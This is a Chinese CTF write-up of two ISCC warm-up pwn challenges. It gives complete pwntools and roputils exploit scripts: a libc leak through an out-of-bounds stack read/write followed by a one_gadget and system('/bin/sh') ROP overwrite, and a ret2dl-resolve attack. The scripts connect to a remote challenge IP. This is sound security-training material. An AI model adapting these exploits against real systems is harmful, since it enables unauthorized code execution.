iscc的预热靶场,题目不错,挺好玩的,记录下自己的解题过程。
题目给定ELF文件一个。
main()函数在清空输入输出流后会让你输入很长的字符串,但是其栈空间足够大,无法溢出。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-110h]
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
memset(&s, 0, 0x100uLL);
printf("input your name \nname:", 0LL);
read(0, &s, 0x100uLL);
while ( sub_B35() )
;
return 0LL;
}
在输入后会循环执行sub_B35()函数,函数内以数组的形式向栈内先读取一个int型然后在相同地址写入一个char型(一个byte),可以执行40次,数组没有大小限制,可以向栈后任何一个地址进行读取写入操作。
经过计算,rbp为第336位,ret地址为第342位,__libc_start_main()函数地址为第632位。
首先泄露libc基址和版本,脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
def leak(s):
r.recvuntil('index')
r.sendline(str(s))
r.recvuntil('value(hex) ')
for i in range(4):
num = r.recv(2)
if num != 'ff':
nums = int(num,16)
break
r.sendline(str(nums))
return num
local = 1
if local == 1:
r=process('./pwn1')
gdb.attach(r,'b * $rebase(0xC9b)')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('39.105.189.183',7005)
#libc = ELF('./libc.so.6')
elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
r.recvuntil('name:')
r.sendline('a')
lsmr = ''
for i in range(6):
lsmr += leak(637-i)
lsmr = int('0x'+lsmr,16)
print hex(lsmr)
lbase = lsmr - 0x020830
r.interactive()
获取到libc基址和版本后,修改ret地址为one_gadget。本地getshell,脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
def leak(s):
r.recvuntil('index')
r.sendline(str(s))
r.recvuntil('value(hex) ')
for i in range(4):
num = r.recv(2)
if num != 'ff':
nums = int(num,16)
break
r.sendline(str(nums))
return num
def edit(s,num):
r.recvuntil('index')
r.sendline(str(s))
r.recvuntil('value(hex) ')
r.sendline(str(num))
return 0
local = 1
if local == 1:
r=process('./pwn1')
gdb.attach(r,'b * $rebase(0xC9b)')
else:
r=remote('39.105.189.183',7005)
elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
r.recvuntil('name:')
r.sendline('a')
lsmr = ''
for i in range(6):
lsmr += leak(637-i)
lsmr = int('0x'+lsmr,16)
print hex(lsmr)
lbase = lsmr - 0x020830
ogg = lbase + 0xf1147
for i in range(6):
s = 344+i
num = (ogg >> (8 * i)) & 0xff
edit(s,num)
for i in range(24):#消磨掉剩下的修改交互机会
leak(1)
print i
r.sendline('no')
r.interactive()
但是远程使用的pwn_deploy_chroot,不让你通过one_gadget获取shell,只能去构造rop链执行system('/bin/sh')来获取flag。
do you want continue(yes/no)?
Because I change /bin/sh,so if you use one_gadget or other technique to get shell locally, please add issue on github:
https://github.com/giantbranch/pwn_deploy_chroot
[*] Got EOF while reading in interactive
脚本如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
def leak(s):
r.recvuntil('index')
r.sendline(str(s))
r.recvuntil('value(hex) ')
for i in range(4):
num = r.recv(2)
if num != 'ff':
nums = int(num,16)
break
r.sendline(str(nums))
return num
def edit(s,num):
r.recvuntil('index')
r.sendline(str(s))
r.recvuntil('value(hex) ')
r.sendline(str(num))
return 0
local = 1
if local == 1:
r=process('./pwn1')
gdb.attach(r,'b * $rebase(0xC9b)')
else:
r=remote('39.105.189.183',7005)
elf = ELF('./pwn1')
libc = ELF('./libc-2.23.so')
r.recvuntil('name:')
r.sendline('a')
lsmr = ''
for i in range(6):
lsmr += leak(637-i)
lsmr = int('0x'+lsmr,16)
print hex(lsmr)
lbase = lsmr - 0x020830
ogg = lbase + 0xf1147
system = lbase + libc.symbols['system']
binsh = lbase + libc.search('/bin/sh').next()
pie = ''
for i in range(6):
pie += leak(349-i)
pie = int('0x'+pie,16)
print hex(pie)
edit(344,3)
r.recvuntil('index')
r.sendline('345')
r.recvuntil('value(hex) ')
for i in range(4):
num = r.recv(2)
if num != 'ff':
nums = int(num,16)
break
r.sendline(str(nums+2))
for i in range(6):
s = 344+8+i
num = (binsh >> (8 * i)) & 0xff
edit(s,num)
for i in range(6):
s = 344+16+i
num = (system >> (8 * i)) & 0xff
edit(s,num)
for i in range(15):
leak(1)
print i
r.sendline('no')
r.interactive()
题目提供ELF文件一个,利用ida分析只有read()函数一个,计算偏移为44,利用ret2dl脚本一把梭,脚本如下。
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
from pwn import remote
r = process('./pwn2')
context.log_level = 'debug'
#r.recv()
r = remote('39.105.189.183',7004)
rop = ROP('./pwn2')
offset = 44
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!